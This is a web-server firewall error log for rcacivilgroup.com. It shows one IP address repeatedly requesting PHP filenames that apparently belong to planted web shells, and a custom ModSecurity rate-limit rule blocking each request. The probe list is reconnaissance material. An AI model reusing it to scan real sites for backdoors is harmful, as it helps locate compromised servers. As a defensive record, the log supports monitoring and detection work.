[Sat Apr 11 04:15:46.622038 2026] [:error] [pid 33173:tid 33268] [client 4.245.205.135:32100] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bfil.php"] [unique_id "adlacq8109xRDP2izWiH0wAAAJc"]
[Sat Apr 11 04:15:47.323963 2026] [:error] [pid 33288:tid 33306] [client 4.245.205.135:32109] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bfil.php"] [unique_id "adlac2JmwJFFPEgRHfHM9gAAANA"]
[Sat Apr 11 04:15:47.918778 2026] [:error] [pid 33171:tid 33209] [client 4.245.205.135:45343] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bfil.php"] [unique_id "adlac7oqTMlo30hcVw8lDAAAABc"]
[Sat Apr 11 04:15:48.628699 2026] [:error] [pid 33171:tid 33194] [client 4.245.205.135:49798] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bfil.php"] [unique_id "adladLoqTMlo30hcVw8lDgAAAAg"]
[Sat Apr 11 04:15:50.562213 2026] [:error] [pid 33288:tid 33305] [client 4.245.205.135:20380] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lb.php"] [unique_id "adladmJmwJFFPEgRHfHNDAAAAM8"]
[Sat Apr 11 04:15:51.251949 2026] [:error] [pid 33288:tid 33301] [client 4.245.205.135:22657] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lb.php"] [unique_id "adlad2JmwJFFPEgRHfHNDQAAAMs"]
[Sat Apr 11 04:15:52.124857 2026] [:error] [pid 33171:tid 33198] [client 4.245.205.135:21555] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lb.php"] [unique_id "adlaeLoqTMlo30hcVw8lJQAAAAw"]
[Sat Apr 11 04:15:52.848120 2026] [:error] [pid 33172:tid 33218] [client 4.245.205.135:20368] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lb.php"] [unique_id "adlaeDn2G0IJw5EZY9n7pwAAAEA"]
[Sat Apr 11 04:15:53.535280 2026] [:error] [pid 33171:tid 33207] [client 4.245.205.135:45334] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "adlaeboqTMlo30hcVw8lKgAAABU"]
[Sat Apr 11 04:15:54.159651 2026] [:error] [pid 33172:tid 33225] [client 4.245.205.135:15051] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "adlaejn2G0IJw5EZY9n7rgAAAEc"]
[Sat Apr 11 04:15:55.166948 2026] [:error] [pid 33172:tid 33218] [client 4.245.205.135:15057] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "adlaezn2G0IJw5EZY9n7uAAAAEA"]
[Sat Apr 11 04:15:55.858785 2026] [:error] [pid 33172:tid 33238] [client 4.245.205.135:15077] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "adlaezn2G0IJw5EZY9n7ugAAAFQ"]
[Sat Apr 11 04:15:56.583007 2026] [:error] [pid 33172:tid 33225] [client 4.245.205.135:42349] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/menu.php"] [unique_id "adlafDn2G0IJw5EZY9n7wAAAAEc"]
[Sat Apr 11 04:15:57.321813 2026] [:error] [pid 33288:tid 33299] [client 4.245.205.135:32097] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/menu.php"] [unique_id "adlafWJmwJFFPEgRHfHNIAAAAMk"]
[Sat Apr 11 04:15:58.174179 2026] [:error] [pid 33288:tid 33303] [client 4.245.205.135:28901] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/menu.php"] [unique_id "adlafmJmwJFFPEgRHfHNIwAAAM0"]
[Sat Apr 11 04:15:58.912823 2026] [:error] [pid 33171:tid 33200] [client 4.245.205.135:42332] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/menu.php"] [unique_id "adlafroqTMlo30hcVw8lOAAAAA4"]
[Sat Apr 11 04:15:59.663108 2026] [:error] [pid 33288:tid 33292] [client 4.245.205.135:32583] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adlaf2JmwJFFPEgRHfHNKgAAAMI"]
[Sat Apr 11 04:16:00.569823 2026] [:error] [pid 33288:tid 33314] [client 4.245.205.135:37850] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adlagGJmwJFFPEgRHfHNLQAAANg"]
[Sat Apr 11 04:16:01.223273 2026] [:error] [pid 33288:tid 33309] [client 4.245.205.135:21938] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adlagWJmwJFFPEgRHfHNMgAAANM"]
[Sat Apr 11 04:16:02.087062 2026] [:error] [pid 33288:tid 33307] [client 4.245.205.135:21904] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adlagmJmwJFFPEgRHfHNNgAAANE"]
[Sat Apr 11 04:16:02.835861 2026] [:error] [pid 33171:tid 33199] [client 4.245.205.135:25395] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iindv.php"] [unique_id "adlagroqTMlo30hcVw8lQAAAAA0"]
[Sat Apr 11 04:16:03.596762 2026] [:error] [pid 33171:tid 33189] [client 4.245.205.135:21525] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iindv.php"] [unique_id "adlag7oqTMlo30hcVw8lQQAAAAM"]
[Sat Apr 11 04:16:04.591602 2026] [:error] [pid 33288:tid 33297] [client 4.245.205.135:21515] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iindv.php"] [unique_id "adlahGJmwJFFPEgRHfHNQAAAAMc"]
[Sat Apr 11 04:16:05.536217 2026] [:error] [pid 33172:tid 33224] [client 4.245.205.135:49809] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iindv.php"] [unique_id "adlahTn2G0IJw5EZY9n77wAAAEY"]
[Sat Apr 11 04:16:06.200011 2026] [:error] [pid 33288:tid 33298] [client 4.245.205.135:22703] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/maintura.php"] [unique_id "adlahmJmwJFFPEgRHfHNSQAAAMg"]
[Sat Apr 11 04:16:07.204199 2026] [:error] [pid 33171:tid 33203] [client 4.245.205.135:14315] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/maintura.php"] [unique_id "adlah7oqTMlo30hcVw8lSgAAABE"]
[Sat Apr 11 04:16:08.099523 2026] [:error] [pid 33288:tid 33298] [client 4.245.205.135:17115] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/maintura.php"] [unique_id "adlaiGJmwJFFPEgRHfHNUgAAAMg"]
[Sat Apr 11 04:16:08.982720 2026] [:error] [pid 33171:tid 33200] [client 4.245.205.135:25394] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/maintura.php"] [unique_id "adlaiLoqTMlo30hcVw8lTwAAAA4"]
[Sat Apr 11 04:16:09.702285 2026] [:error] [pid 33173:tid 33260] [client 4.245.205.135:14325] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adlaia8109xRDP2izWiIAQAAAI8"]
[Sat Apr 11 04:16:10.508903 2026] [:error] [pid 33173:tid 33262] [client 4.245.205.135:20362] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adlaiq8109xRDP2izWiIAgAAAJE"]
[Sat Apr 11 04:16:11.416646 2026] [:error] [pid 33288:tid 33301] [client 4.245.205.135:25352] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adlai2JmwJFFPEgRHfHNVwAAAMs"]
[Sat Apr 11 04:16:12.190942 2026] [:error] [pid 33288:tid 33312] [client 4.245.205.135:25373] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adlajGJmwJFFPEgRHfHNWgAAANY"]
[Sat Apr 11 04:16:13.102149 2026] [:error] [pid 33288:tid 33300] [client 4.245.205.135:47288] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlajWJmwJFFPEgRHfHNYAAAAMo"]
[Sat Apr 11 04:16:13.911208 2026] [:error] [pid 33171:tid 33205] [client 4.245.205.135:21906] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlajboqTMlo30hcVw8lWgAAABM"]
[Sat Apr 11 04:16:14.554246 2026] [:error] [pid 33173:tid 33254] [client 4.245.205.135:35905] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlajq8109xRDP2izWiICwAAAIk"]
[Sat Apr 11 04:16:15.170047 2026] [:error] [pid 33173:tid 33249] [client 4.245.205.135:32609] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlaj68109xRDP2izWiIDQAAAIQ"]
[Sat Apr 11 04:16:15.900378 2026] [:error] [pid 33172:tid 33233] [client 4.245.205.135:21913] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-220.php"] [unique_id "adlajzn2G0IJw5EZY9n8JQAAAE8"]
[Sat Apr 11 04:16:16.484957 2026] [:error] [pid 33172:tid 33220] [client 4.245.205.135:25778] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-220.php"] [unique_id "adlakDn2G0IJw5EZY9n8KAAAAEI"]
[Sat Apr 11 04:16:17.197346 2026] [:error] [pid 33173:tid 33246] [client 4.245.205.135:47235] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-220.php"] [unique_id "adlaka8109xRDP2izWiIFAAAAIE"]
[Sat Apr 11 04:16:17.741054 2026] [:error] [pid 33172:tid 33240] [client 4.245.205.135:31576] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-220.php"] [unique_id "adlakTn2G0IJw5EZY9n8MgAAAFY"]
[Sat Apr 11 04:16:18.416774 2026] [:error] [pid 33288:tid 33302] [client 4.245.205.135:25375] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlakmJmwJFFPEgRHfHNdAAAAMw"]
[Sat Apr 11 04:16:19.129178 2026] [:error] [pid 33288:tid 33307] [client 4.245.205.135:15091] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlak2JmwJFFPEgRHfHNeQAAANE"]
[Sat Apr 11 04:16:19.763947 2026] [:error] [pid 33288:tid 33300] [client 4.245.205.135:25752] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlak2JmwJFFPEgRHfHNfgAAAMo"]
[Sat Apr 11 04:16:20.571521 2026] [:error] [pid 33173:tid 33249] [client 4.245.205.135:21567] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlalK8109xRDP2izWiIHAAAAIQ"]
[Sat Apr 11 04:16:21.170731 2026] [:error] [pid 33173:tid 33260] [client 4.245.205.135:2967] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "adlala8109xRDP2izWiIHgAAAI8"]
[Sat Apr 11 04:16:21.758093 2026] [:error] [pid 33173:tid 33246] [client 4.245.205.135:32617] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "adlala8109xRDP2izWiIIQAAAIE"]
[Sat Apr 11 04:16:22.417007 2026] [:error] [pid 33173:tid 33247] [client 4.245.205.135:27343] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "adlalq8109xRDP2izWiIJwAAAII"]
[Sat Apr 11 04:16:22.993759 2026] [:error] [pid 33172:tid 33231] [client 4.245.205.135:28881] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "adlaljn2G0IJw5EZY9n8PwAAAE0"]
[Sat Apr 11 04:16:23.780757 2026] [:error] [pid 33288:tid 33290] [client 4.245.205.135:31563] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxiviLDIot.php"] [unique_id "adlal2JmwJFFPEgRHfHNkQAAAMA"]
[Sat Apr 11 04:16:24.751452 2026] [:error] [pid 33288:tid 33296] [client 4.245.205.135:28871] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxiviLDIot.php"] [unique_id "adlamGJmwJFFPEgRHfHNlgAAAMY"]
[Sat Apr 11 04:16:25.614440 2026] [:error] [pid 33172:tid 33222] [client 4.245.205.135:21532] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxiviLDIot.php"] [unique_id "adlamTn2G0IJw5EZY9n8QwAAAEQ"]
[Sat Apr 11 04:16:26.423486 2026] [:error] [pid 33288:tid 33300] [client 4.245.205.135:14309] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxiviLDIot.php"] [unique_id "adlammJmwJFFPEgRHfHNnwAAAMo"]
[Sat Apr 11 04:16:27.187419 2026] [:error] [pid 33172:tid 33226] [client 4.245.205.135:14313] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hanyatersenyum.php"] [unique_id "adlamzn2G0IJw5EZY9n8SwAAAEg"]
[Sat Apr 11 04:16:28.326524 2026] [:error] [pid 33288:tid 33297] [client 4.245.205.135:20369] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hanyatersenyum.php"] [unique_id "adlanGJmwJFFPEgRHfHNogAAAMc"]
[Sat Apr 11 04:16:29.419733 2026] [:error] [pid 33173:tid 33250] [client 4.245.205.135:14278] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hanyatersenyum.php"] [unique_id "adlana8109xRDP2izWiIPgAAAIU"]
